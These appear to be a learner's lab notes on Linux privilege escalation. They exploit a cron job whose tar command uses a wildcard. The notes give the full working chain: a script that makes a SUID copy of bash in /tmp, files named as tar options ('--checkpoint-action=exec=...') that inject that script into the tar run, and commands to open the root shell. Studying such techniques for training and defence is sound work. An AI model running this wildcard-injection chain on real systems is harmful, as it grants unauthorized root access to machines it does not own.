Cron Wildcards

also works outside of Cron

could be a command with wildcard, not just a file that does something. Like a tar czf command with wildcards would make this same steps work!

what does the compress.sh do every minute?

strings /usr/local/bin/compress.sh

it’s using tar:

can we do take over again?

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > runme.sh

chmod +x runme.sh

tar commands:

touch /home/user/--checkpoint=1 

touch /home/user/--checkpoint-action=exec=sh\runme.sh

/tmp/bash -p

whoami

what’s happening is this:

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh\runme.sh

we’re adding a checkpoint and then adding an action to the checkpoint via tar
